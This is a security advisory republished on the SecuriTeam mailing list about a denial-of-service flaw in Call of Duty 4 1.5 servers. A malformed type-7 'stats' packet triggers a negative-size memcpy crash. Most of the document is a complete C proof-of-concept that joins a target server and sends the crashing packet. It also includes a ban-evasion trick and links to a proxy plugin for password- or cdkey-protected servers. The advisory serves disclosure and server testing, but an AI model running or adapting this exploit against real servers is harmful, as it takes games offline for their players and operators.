[NEWS] Call of Duty Denial of Service



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Call of Duty Denial of Service
------------------------------------------------------------------------


SUMMARY

Call of Duty 4 (CoD4) is "the most recent and played game of the homonym
series created by <http://www.infinityward.com> Infinity Ward with over
15000 internet servers". A vulnerability in the CoD game allows remote
attackers to cause the game to crash by sending it malform data.

DETAILS

Vulnerable Systems:
* Call of Duty 4: Modern Warfare version 1.5

In CoD4 has been introduced a new type of connectionless command (like
getinfo, getstatus, connect and so on) called "stats" that seems related
to player statistics and can be of 6 types which are sent by the client in
sequential order just after having joined the remote game.

Exists an additional type (7) which is accepted by the server and if a
client uses it the remote server will crash due to a memcpy() with a
negative size value (the attacker has no control over the source data and
this value).

The stats packet requires that the client is in the server since the qport
value specified in it and both IP and port must match those used by the
player, so the attacker must know the password if the server is protected,
being not banned and moreover having a valid cdkey if the internet server
requires it.

Exploit:
- plugin for the sudppipe proxy which modifies any stats packet enabling
type 7:
<http://aluigi.org/mytoolz/sudppipe.zip>
http://aluigi.org/mytoolz/sudppipe.zip and
<http://aluigi.org/poc/cod4statz_sudp.zip>
http://aluigi.org/poc/cod4statz_sudp.zip

Usage example:
sudppipe -l cod4statz_sudp.dll SERVER PORT 20000
then from the CoD4 client type: connect 127.0.0.1:20000

The plugin does a very simple job, when a "stats" packet is received it
places the 0x07 byte at offset 12.

- stand-alone proof-of-concept which works versus servers without
authorization (like LAN servers) for quickly testing the own servers
without the need of using a CoD4 client:
/*
Copyright 2008 Luigi Auriemma - http://aluigi.org/poc/cod4statz.zip

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
USA

http://www.gnu.org/licenses/gpl.txt
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <time.h>
#include <ctype.h>
#include "q3huff.h"

#ifdef WIN32
#include <winsock.h>
#include <io.h>
#include "winerr.h"

#define close closesocket
#define sleep Sleep
#define usleep sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>

#define ONESEC 1
#define stristr strcasestr
#define stricmp strcasecmp
#define strnicmp strncasecmp
#endif

typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;



#define VER "0.1"
#define BUFFSZ 8192
#define PORT 28960
#define MORESZ 1100
#define INFO "\xff\xff\xff\xff" "getinfo xxx\n"
#define GETCH "\xff\xff\xff\xff" "getchallenge\n"



typedef struct {
int protocol;
int punkbuster;
int punkbuster2;
int password;
int compression;
int snaps;
int rate;
int internet;
u8 *cdkey;
u8 *mod;
u8 *guid;
u8 *pbguid;
} client_t;



void activate_q3unban(u8 *more);
u8 *correct_user_parameters(u8 *mod);
#define scpy(a,b) sprintf(a, "%.*s", sizeof(a) - 1, b);
void q3info(struct sockaddr_in *peer, client_t *client);
u8 *show_print_msg(u8 *data);
int get_new_parameters(u8 *data, u8 *more, int *snaps, int *rate);
void fgetz(u8 *buff, int size, FILE *fd);
int sendrecv(int sd, struct sockaddr_in *peer, u8 *in, int insz, u8 *out,
int outsz);
int build_connect(u8 *buff, u8 *pb2, ...);
int handle_info(u8 *data, int datalen, int nt, int chr, int front, int
rear, ...);
int rnds(u8 *data, int len, u32 *seed);
void rndh(u8 *data, int len, u32 *seed, int ccase);
int timeout(int sock);
u32 resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
client_t client;
struct sockaddr_in peer,
peerl;
u32 seed;
int sd,
i,
len,
challenge,
autounban = 0,
changed_comp = 0,
timewait = 5;
u16 port = PORT,
qport;
u8 buff[BUFFSZ+1],
more[MORESZ+1] = "",
password[64] = "",
*nick = NULL,
*p4 = buff + 4,
*host;

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

setbuf(stdout, NULL);

fputs("\n"
"Call of Duty 4 <= 1.5 stats in-game Denial of Service "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@xxxxxxxxxxxxx\n"
"web: aluigi.org\n"
"\n", stdout);

if(argc < 2) {
printf("\n"
"Usage: %s <server> [port(%hu)]\n"
"\n", argv[0], port);
exit(1);
}

/* all the code is from my q3fill tool */

client.protocol = 0;
client.punkbuster = 0;
client.punkbuster2 = 0;
client.password = 0;
client.compression = 0;
client.snaps = 10;
client.rate = 1500;
client.internet = 0;
client.cdkey = "";
client.mod = "";
client.guid = malloc(33);
client.guid[0] = 0;
client.pbguid = malloc(33);
client.pbguid[0] = 0;

host = argv[1];
if(argc > 2) port = atoi(argv[2]);
seed = time(NULL);

peer.sin_addr.s_addr = resolv(host);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

peerl.sin_addr.s_addr = INADDR_ANY;
peerl.sin_port = htons(seed & 0x7fff);
peerl.sin_family = AF_INET;

printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));

q3info(&peer, &client);

if(autounban) activate_q3unban(more);

for(;;) {
printf("\n Player: ");

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
do {
peerl.sin_port = htons((ntohs(peerl.sin_port) + 1) & 0x7fff);
} while(bind(sd, (struct sockaddr *)&peerl, sizeof(peerl)) < 0);

len = sendrecv(sd, &peer, GETCH, sizeof(GETCH) - 1, buff, BUFFSZ);
if(len < 0) std_err();

if(strstr(p4, "AUTH")) {
printf("\n"
"Error: %s\n"
"This error means you must send your CDKEY to the
authorization server of the\n"
"game running on the remote server.\n"
"This tool is based only on the authorization protocol of
Quake 3\n"
"Retry again for some times and then if you are testing a
Quake 3 server, try\n"
"using the -i flag\n"
"\n", show_print_msg(p4));
exit(1);
} else if(!stristr(p4, "challengeResponse")) {
printf("\n"
"Error: %s\n"
"An error at this point means that you cannot join the
server due to\n"
"authorization problems\n"
"This proof-of-concept doesn't implement the cdkey
handling instructions so use\n"
"the cod4statz_sudp plugin for sudppipe available in the
Proof-of-Concept\n"
"section of my website for testing your internet server\n"
"\n", show_print_msg(p4));
exit(1);
}

challenge = atoi(buff + 22);

if(!client.internet && !client.punkbuster2) {
rndh(client.guid, 32, &seed, 1);
}
if(!client.punkbuster2) {
rndh(client.pbguid, 32, &seed, 0);
}

if(nick) free(nick);
rnds(buff, 32, &seed);
nick = strdup(buff);
printf(" \"%s\" ", nick);

qport = ntohs(peerl.sin_port);

len = build_connect(
buff,
client.pbguid,
"cg_predictItems", "%i", 1,
"cl_punkbuster", "%i", client.punkbuster,
"cl_voice", "%i", 0,
"cl_wwwDownload", "%i", 1,
"rate", "%i", client.rate,
"snaps", "%i", client.snaps,
"name", "%s", nick,
"protocol", "%i", client.protocol,
"challenge", "%i", challenge,
"qport", "%i", qport,
"password", "%s", password,
"g_password", "%s", password,
NULL, "%s", client.mod,
NULL, "%s", more,
NULL, NULL, NULL);

//if(verbose) printf("\n%s\n", buff);
if(client.compression) len = Huff_CompressPacket(buff, 12, len);

len = sendrecv(sd, &peer, buff, len, buff, BUFFSZ);
if(len < 0) std_err();

while(stristr(p4, "challengeResponse")) {
len = sendrecv(sd, &peer, NULL, 0, buff, BUFFSZ);
if(len < 0) std_err();
}

if(stristr(p4, "full")) {
printf("\n- %s\n", show_print_msg(p4));
for(i = timewait; i; i--) {
printf("\r%4d", i);
sleep(ONESEC);
}

} else if(stristr(p4, "password")) {
printf("\n- %s\n", show_print_msg(p4));
printf("\n- server is protected, insert the required
password:\n ");
fgetz(password, sizeof(password), stdin);

} else if(stristr(p4, "maximum connections")) {
printf("\n- %s\n", show_print_msg(p4));
for(i = timewait; i; i--) {
printf("\r%4d", i);
sleep(ONESEC);
}

} else if(stristr(p4, "banned") && !autounban) {
printf("\n- %s\n", show_print_msg(p4));
activate_q3unban(more);
autounban = 1;

} else if(!stristr(p4, "connectResponse")) {
printf("\n- %s\n", show_print_msg(p4));
if(stristr(p4, "protocol")) {
if(client.compression) {
printf("This error means you must disable compression
(-c flag)\n");
} else {
printf("This error means you must enable compression
(do not use the -c flag)\n");
}
exit(1);
}

if(get_new_parameters(p4, more, &client.snaps, &client.rate) <
0) {
if(changed_comp) exit(1);
changed_comp = 1;
client.compression = client.compression ? 0 : 1;
printf("- now I try %s the compression\n",
client.compression ? "enabling" : "disabling");
}

} else { // all ok
printf("\n- send the malformed stats packet\n");
memset(buff, 0x00, 1253);
memcpy(buff, "\xff\xff\xff\xff" "stats\0", 10);
buff[10] = qport;
buff[11] = qport >> 8;
buff[12] = 7;
len = sendrecv(sd, &peer, buff, 1253, NULL, 0);
if(len < 0) std_err();

for(i = 20; i >= 0; i--) {
len = sendrecv(sd, &peer, NULL, 0, buff, BUFFSZ);
if(len < 0) break;
}
if(i < 0) {
printf("\n"
"Error: the server continues to send packets, it could
be patched or the stats\n"
" packet has not been accepted. in this case try
to relaunch this tool\n"
" now and if fails retry within some
minutes\n");
} else {
printf("\n- the server should be down, check it manually
or relaunch this tool\n");
}
close(sd);
break;
}
close(sd);
}

return(0);
}



void activate_q3unban(u8 *more) {
int len;

printf("\n- activated auto unbanning trick\n");
len = MORESZ - strlen(more);
memset(more + strlen(more), 'A', len);
more[strlen(more)] = '\\';
more[MORESZ - (len / 2)] = '\\';
more[MORESZ] = 0;
}



u8 *correct_user_parameters(u8 *mod) {
int len;

if(!mod[0]) return(mod);
while(mod[0] == '\\') mod++;

len = strlen(mod);
for(len--; len >= 0; len--) {
if(mod[len] != '\\') {
mod[len + 1] = '\0';
break;
}
}

return(mod);
}



void q3info(struct sockaddr_in *peer, client_t *client) {
int sd,
len;
u8 buff[BUFFSZ],
*pb,
*proto,
*pwd;

printf("- retrieve informations\n");
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
len = sendrecv(sd, peer, INFO, sizeof(INFO) - 1, buff, BUFFSZ);
if(len < 0) std_err();
close(sd);

handle_info(buff, len, 1, '\\', 4, 0,
"sv_punkbuster", &pb,
"punkbuster", &pb,
"pb", &pb,
"protocol", &proto,
"needpass", &pwd,
"pswrd", &pwd,
NULL, NULL);

if(pb) client->punkbuster = atoi(pb);
if(proto) client->protocol = atoi(proto);
if(pwd) client->password = atoi(pwd);

printf("\n"
"- parameters in use:\n"
" compression %s\n"
" protocol %d\n"
" punkbuster %s\n"
" password %s\n"
" key/guid %s\n",
client->compression ? "on" : "off",
client->protocol,
client->punkbuster ? "on" : "off",
client->password ? "on" : "off",
client->internet ? (char *)client->cdkey : "random");

if(client->punkbuster2) {
printf(
" guid %s\n"
" pb_guid %s\n",
client->guid,
client->pbguid);
}
}



u8 *show_print_msg(u8 *data) {
u8 *p;

p = data + strlen(data) - 1;
while((p >= data) && (*p <= '\r')) p--;
*(p + 1) = 0;

if(!strnicmp(data, "print\n", 6)) return(data + 6);
return(data);
}



int get_new_parameters(u8 *data, u8 *more, int *snaps, int *rate) { //
untouched function
u8 *par,
*val,
*p;

p = (u8 *)stristr(data, "your");
if(!p) return(-1);

printf("\n- %s\n", show_print_msg(data));

while(*p && (*p != ' ') && (*p != '\t')) p++; // skip word
while(*p && ((*p == ' ') || (*p == '\t'))) p++; // skip spaces

par = p; // parameter, for
example snaps

while(*p && (*p != ' ') && (*p != '\t')) p++;
*p = 0;

data = p + 1;

p = strchr(data, ':');
if(!p) {
p = data + strlen(data) - 1;
while((p >= data) && (*p != ' ') && (*p != '\t')) p--;
}

for(p++; *p && ((*p == ' ') || (*p == '\t')); p++); // skip spaces

val = p; // value requested
by the server

while(*p && (*p != ' ') && (*p != '\t') && (*p != '.')) p++;
*p = 0;

printf("- par\\val: \"%s\" \"%s\"\n", par, val);

if(!stricmp(par, "snaps")) {
*snaps = atoi(val);
} else if(!stricmp(par, "rate")) {
*rate = atoi(val);
} else {
p = more + strlen(more);
if(((p - more) + 1 + strlen(par) + 1 + strlen(val)) >= MORESZ) {
printf("\nError: the more buffer can't contain all the
data\n");
exit(1);
}
sprintf(p, "\\%s\\%s", par, val);
}

return(0);
}



int sendrecv(int sd, struct sockaddr_in *peer, u8 *in, int insz, u8 *out,
int outsz) {
int i;

if(in) {
for(i = 3; i; i--) {
if(sendto(sd, in, insz, 0, (struct sockaddr *)peer,
sizeof(struct sockaddr_in))
< 0) return(-1);
fputc('.', stdout);
if(!timeout(sd)) break;
}
if(!i) {
printf("\nError: socket timeout, no reply received (the server
could be down)\n\n");
exit(1);
}
}
if(out) {
outsz = recvfrom(sd, out, outsz, 0, NULL, NULL);
fputc('.', stdout);
if(outsz >= 0) out[outsz] = 0;
}
return(outsz);
}



int build_connect(u8 *buff, u8 *pb2, ...) {
va_list ap;
int i,
len,
args;
u8 **parz,
**fmtz,
**valz;

va_start(ap, pb2);
for(i = 0; ; i++) {
va_arg(ap, u8 *);
if(!va_arg(ap, u8 *)) break;
va_arg(ap, u8 *);
}
va_end(ap);

args = i;
parz = malloc(args * sizeof(u8 *));
fmtz = malloc(args * sizeof(u8 *));
valz = malloc(args * sizeof(u8 *));

va_start(ap, pb2);
for(i = 0; i < args; i++) {
parz[i] = va_arg(ap, u8 *);
fmtz[i] = va_arg(ap, u8 *);
valz[i] = va_arg(ap, u8 *);
}
va_end(ap);

len = 0;
len += sprintf(buff + len, "\xff\xff\xff\xff" "connect " "\"");
for(i = 0; i < args; i++) {
if(parz[i]) {
if(strchr(fmtz[i], 's') && (!valz[i] || !valz[i][0]))
continue;
len += sprintf(buff + len, "\\%s\\", parz[i]);
} else {
if(strchr(fmtz[i], 's') && valz[i] && valz[i][0]) buff[len++]
= '\\';
}
len += sprintf(buff + len, fmtz[i], valz[i]);
}
//len += sprintf(buff + len, "\"" " *%s", pb2);
len += sprintf(buff + len, "\"");

free(parz);
free(valz);
return(len);
}



int handle_info(u8 *data, int datalen, int nt, int chr, int front, int
rear, ...) {
va_list ap;
int i,
args,
found;
u8 **parz,
***valz,
*p,
*limit,
*par,
*val;

va_start(ap, rear);
for(i = 0; ; i++) {
if(!va_arg(ap, u8 *)) break;
if(!va_arg(ap, u8 **)) break;
}
va_end(ap);

args = i;
parz = malloc(args * sizeof(u8 *));
valz = malloc(args * sizeof(u8 **));

va_start(ap, rear);
for(i = 0; i < args; i++) {
parz[i] = va_arg(ap, u8 *);
valz[i] = va_arg(ap, u8 **);
*valz[i] = NULL;
}
va_end(ap);

found = 0;
limit = data + datalen - rear;
*limit = 0;
data += front;
par = NULL;
val = NULL;

for(p = data; (data < limit) && p; data = p + 1, nt++) {
p = strchr(data, chr);
if(p) *p = 0;

if(nt & 1) {
if(!par) continue;
val = data;
printf(" %30s %s\n", par, val);

for(i = 0; i < args; i++) {
if(!stricmp(par, parz[i])) *valz[i] = val;
}
} else {
par = data;
}
}

free(parz);
free(valz);
return(found);
}



void fgetz(u8 *buff, int size, FILE *fd) {
u8 *p;

if(!fgets(buff, size, fd)) {
rewind(fd);
if(!fgets(buff, size, fd)) std_err();
}
for(p = buff; *p && (*p != '\n') && (*p != '\r'); p++);
*p = 0;
}



int rnds(u8 *data, int len, u32 *seed) {
u32 rnd = *seed;
u8 *p = data;
static const char
table[] =
"0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";

len = rnd % len;
if(len < 3) len++;

while(len--) {
rnd = ((rnd * 0x343FD) + 0x269EC3) >> 3;
*p++ = table[rnd % (sizeof(table) - 1)];
}
*p = 0;

*seed = rnd;
return(p - data);
}



void rndh(u8 *data, int len, u32 *seed, int ccase) {
u32 rnd = *seed;
u8 *p = data,
*hex_table;
static const char
hex_table1[16] = "0123456789ABCDEF",
hex_table2[16] = "0123456789abcdef";

hex_table = ccase ? (u8 *)hex_table1 : (u8 *)hex_table2;

while(len--) {
rnd = ((rnd * 0x343FD) + 0x269EC3) >> 3;
*p++ = hex_table[rnd & 15];
}
*p = 0;

*seed = rnd;
}



int timeout(int sock) {
struct timeval tout;
fd_set fdr;
int err;

tout.tv_sec = 2;
tout.tv_usec = 0;
FD_ZERO(&fdr);
FD_SET(sock, &fdr);
err = select(sock + 1, &fdr, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}



u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n\n", host);
exit(1);
} else host_ip = *(u32 *)(hp->h_addr);
}
return(host_ip);
}



#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif

/*

Quake 3 engine Huffman algorithm 0.3

ALL the code from the public GPL source code of the Quake 3 engine 1.32

some modifications by Luigi Auriemma
e-mail: aluigi@xxxxxxxxxxxxx
web: aluigi.org

*/
/*
-==========================================
Copyright (C) 1999-2005 Id Software, Inc.

This file is part of Quake III Arena source code.

Quake III Arena source code is free software; you can redistribute it
and/or modify it under the terms of the GNU General Public License as
published by the Free Software Foundation; either version 2 of the
License,
or (at your option) any later version.

Quake III Arena source code is distributed in the hope that it will be
useful, but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with Foobar; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
-=========================================
*/

/* This is based on the Adaptive Huffman algorithm described in Sayood's
Data
* Compression book. The ranks are not actually stored, but implicitly
defined
* by the location of a node within a doubly-linked list */


#define Com_Memset memset
#define Com_Memcpy memcpy

typedef unsigned char byte;

typedef enum {qfalse, qtrue} qboolean;

#define NYT HMAX /* NYT = Not Yet Transmitted */
#define INTERNAL_NODE (HMAX+1)

typedef struct nodetype {
struct nodetype *left, *right, *parent; /* tree structure */
struct nodetype *next, *prev; /* doubly-linked list */
struct nodetype **head; /* highest ranked node in block */
int weight;
int symbol;
} node_t;

#define HMAX 256 /* Maximum symbol */

typedef struct {
int blocNode;
int blocPtrs;

node_t* tree;
node_t* lhead;
node_t* ltail;
node_t* loc[HMAX+1];
node_t** freelist;

node_t nodeList[768];
node_t* nodePtrs[768];
} huff_t;

static int bloc = 0;

void Huff_putBit( int bit, byte *fout, int *offset) {
bloc = *offset;
if ((bloc&7) == 0) {
fout[(bloc>>3)] = 0;
}
fout[(bloc>>3)] |= bit << (bloc&7);
bloc++;
*offset = bloc;
}

int Huff_getBit( byte *fin, int *offset) {
int t;
bloc = *offset;
t = (fin[(bloc>>3)] >> (bloc&7)) & 0x1;
bloc++;
*offset = bloc;
return t;
}

/* Add a bit to the output file (buffered) */
static void add_bit (char bit, byte *fout) {
if ((bloc&7) == 0) {
fout[(bloc>>3)] = 0;
}
fout[(bloc>>3)] |= bit << (bloc&7);
bloc++;
}

/* Receive one bit from the input file (buffered) */
static int get_bit (byte *fin) {
int t;
t = (fin[(bloc>>3)] >> (bloc&7)) & 0x1;
bloc++;
return t;
}

static node_t **get_ppnode(huff_t* huff) {
node_t **tppnode;
if (!huff->freelist) {
return &(huff->nodePtrs[huff->blocPtrs++]);
} else {
tppnode = huff->freelist;
huff->freelist = (node_t **)*tppnode;
return tppnode;
}
}

static void free_ppnode(huff_t* huff, node_t **ppnode) {
*ppnode = (node_t *)huff->freelist;
huff->freelist = ppnode;
}

/* Swap the location of these two nodes in the tree */
static void swap (huff_t* huff, node_t *node1, node_t *node2) {
node_t *par1, *par2;

par1 = node1->parent;
par2 = node2->parent;

if (par1) {
if (par1->left == node1) {
par1->left = node2;
} else {
par1->right = node2;
}
} else {
huff->tree = node2;
}

if (par2) {
if (par2->left == node2) {
par2->left = node1;
} else {
par2->right = node1;
}
} else {
huff->tree = node1;
}

node1->parent = par2;
node2->parent = par1;
}

/* Swap these two nodes in the linked list (update ranks) */
static void swaplist(node_t *node1, node_t *node2) {
node_t *par1;

par1 = node1->next;
node1->next = node2->next;
node2->next = par1;

par1 = node1->prev;
node1->prev = node2->prev;
node2->prev = par1;

if (node1->next == node1) {
node1->next = node2;
}
if (node2->next == node2) {
node2->next = node1;
}
if (node1->next) {
node1->next->prev = node1;
}
if (node2->next) {
node2->next->prev = node2;
}
if (node1->prev) {
node1->prev->next = node1;
}
if (node2->prev) {
node2->prev->next = node2;
}
}

/* Do the increments */
static void increment(huff_t* huff, node_t *node) {
node_t *lnode;

if (!node) {
return;
}

if (node->next != NULL && node->next->weight == node->weight) {
lnode = *node->head;
if (lnode != node->parent) {
swap(huff, lnode, node);
}
swaplist(lnode, node);
}
if (node->prev && node->prev->weight == node->weight) {
*node->head = node->prev;
} else {
*node->head = NULL;
free_ppnode(huff, node->head);
}
node->weight++;
if (node->next && node->next->weight == node->weight) {
node->head = node->next->head;
} else {
node->head = get_ppnode(huff);
*node->head = node;
}
if (node->parent) {
increment(huff, node->parent);
if (node->prev == node->parent) {
swaplist(node, node->parent);
if (*node->head == node) {
*node->head = node->parent;
}
}
}
}

void Huff_addRef(huff_t* huff, byte ch) {
node_t *tnode, *tnode2;
if (huff->loc[ch] == NULL) { /* if this is the first transmission of this
node */
tnode = &(huff->nodeList[huff->blocNode++]);
tnode2 = &(huff->nodeList[huff->blocNode++]);

tnode2->symbol = INTERNAL_NODE;
tnode2->weight = 1;
tnode2->next = huff->lhead->next;
if (huff->lhead->next) {
huff->lhead->next->prev = tnode2;
if (huff->lhead->next->weight == 1) {
tnode2->head = huff->lhead->next->head;
} else {
tnode2->head = get_ppnode(huff);
*tnode2->head = tnode2;
}
} else {
tnode2->head = get_ppnode(huff);
*tnode2->head = tnode2;
}
huff->lhead->next = tnode2;
tnode2->prev = huff->lhead;

tnode->symbol = ch;
tnode->weight = 1;
tnode->next = huff->lhead->next;
if (huff->lhead->next) {
huff->lhead->next->prev = tnode;
if (huff->lhead->next->weight == 1) {
tnode->head = huff->lhead->next->head;
} else {
/* this should never happen */
tnode->head = get_ppnode(huff);
*tnode->head = tnode2;
}
} else {
/* this should never happen */
tnode->head = get_ppnode(huff);
*tnode->head = tnode;
}
huff->lhead->next = tnode;
tnode->prev = huff->lhead;
tnode->left = tnode->right = NULL;

if (huff->lhead->parent) {
if (huff->lhead->parent->left == huff->lhead) { /* lhead is guaranteed
to by the NYT */
huff->lhead->parent->left = tnode2;
} else {
huff->lhead->parent->right = tnode2;
}
} else {
huff->tree = tnode2;
}

tnode2->right = tnode;
tnode2->left = huff->lhead;

tnode2->parent = huff->lhead->parent;
huff->lhead->parent = tnode->parent = tnode2;

huff->loc[ch] = tnode;

increment(huff, tnode2->parent);
} else {
increment(huff, huff->loc[ch]);
}
}

/* Get a symbol */
int Huff_Receive (node_t *node, int *ch, byte *fin) {
while (node && node->symbol == INTERNAL_NODE) {
if (get_bit(fin)) {
node = node->right;
} else {
node = node->left;
}
}
if (!node) {
return 0;
// Com_Error(ERR_DROP, "Illegal tree!\n");
}
return (*ch = node->symbol);
}

/* Get a symbol */
void Huff_offsetReceive (node_t *node, int *ch, byte *fin, int *offset) {
bloc = *offset;
while (node && node->symbol == INTERNAL_NODE) {
if (get_bit(fin)) {
node = node->right;
} else {
node = node->left;
}
}
if (!node) {
*ch = 0;
return;
// Com_Error(ERR_DROP, "Illegal tree!\n");
}
*ch = node->symbol;
*offset = bloc;
}

/* Send the prefix code for this node */
static void send_huff(node_t *node, node_t *child, byte *fout) {
if (node->parent) {
send_huff(node->parent, node, fout);
}
if (child) {
if (node->right == child) {
add_bit(1, fout);
} else {
add_bit(0, fout);
}
}
}

/* Send a symbol */
void Huff_transmit (huff_t *huff, int ch, byte *fout) {
int i;
if (huff->loc[ch] == NULL) {
/* node_t hasn't been transmitted, send a NYT, then the symbol */
Huff_transmit(huff, NYT, fout);
for (i = 7; i >= 0; i--) {
add_bit((char)((ch >> i) & 0x1), fout);
}
} else {
send_huff(huff->loc[ch], NULL, fout);
}
}

void Huff_offsetTransmit (huff_t *huff, int ch, byte *fout, int *offset) {
bloc = *offset;
send_huff(huff->loc[ch], NULL, fout);
*offset = bloc;
}

int Huff_DecompressPacket( unsigned char *msg, int offset, int cursize,
int maxsize ) {
int ch, cch, i, j, size;
byte seq[65536];
byte* buffer;
huff_t huff;

size = cursize - offset;
buffer = msg + offset;

if ( size <= 0 ) {
return(cursize);
}

Com_Memset(&huff, 0, sizeof(huff_t));
// Initialize the tree & list with the NYT node
huff.tree = huff.lhead = huff.ltail = huff.loc[NYT] =
&(huff.nodeList[huff.blocNode++]);
huff.tree->symbol = NYT;
huff.tree->weight = 0;
huff.lhead->next = huff.lhead->prev = NULL;
huff.tree->parent = huff.tree->left = huff.tree->right = NULL;

cch = buffer[0]*256 + buffer[1];
// don't overflow with bad messages
if ( cch > maxsize - offset ) {
cch = maxsize - offset;
}
bloc = 16;

for ( j = 0; j < cch; j++ ) {
ch = 0;
// don't overflow reading from the messages
// FIXME: would it be better to have a overflow check in get_bit ?
if ( (bloc >> 3) > size ) {
seq[j] = 0;
break;
}
Huff_Receive(huff.tree, &ch, buffer); /* Get a character */
if ( ch == NYT ) { /* We got a NYT, get the symbol associated
with it */
ch = 0;
for ( i = 0; i < 8; i++ ) {
ch = (ch<<1) + get_bit(buffer);
}
}

seq[j] = ch; /* Write symbol */

Huff_addRef(&huff, (byte)ch); /* Increment node */
}
cursize = cch + offset;
Com_Memcpy(buffer, seq, cch);
return(cursize);
}

extern int oldsize;

int Huff_CompressPacket( unsigned char *msg, int offset, int cursize ) {
int i, ch, size;
byte seq[65536];
byte* buffer;
huff_t huff;

size = cursize - offset;
buffer = msg + offset;

if (size<=0) {
return(cursize);
}

Com_Memset(&huff, 0, sizeof(huff_t));
// Add the NYT (not yet transmitted) node into the tree/list */
huff.tree = huff.lhead = huff.loc[NYT] =
&(huff.nodeList[huff.blocNode++]);
huff.tree->symbol = NYT;
huff.tree->weight = 0;
huff.lhead->next = huff.lhead->prev = NULL;
huff.tree->parent = huff.tree->left = huff.tree->right = NULL;
huff.loc[NYT] = huff.tree;

seq[0] = (size>>8);
seq[1] = size&0xff;

bloc = 16;

for (i=0; i<size; i++ ) {
ch = buffer[i];
Huff_transmit(&huff, ch, seq); /* Transmit symbol */
Huff_addRef(&huff, (byte)ch); /* Do update */
}

bloc += 8; // next byte

cursize = (bloc>>3) + offset;
Com_Memcpy(buffer, seq, (bloc>>3));
return(cursize);
}


ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@xxxxxxxxxxxxx> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/cod4statz-adv.txt>
http://aluigi.altervista.org/adv/cod4statz-adv.txt



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages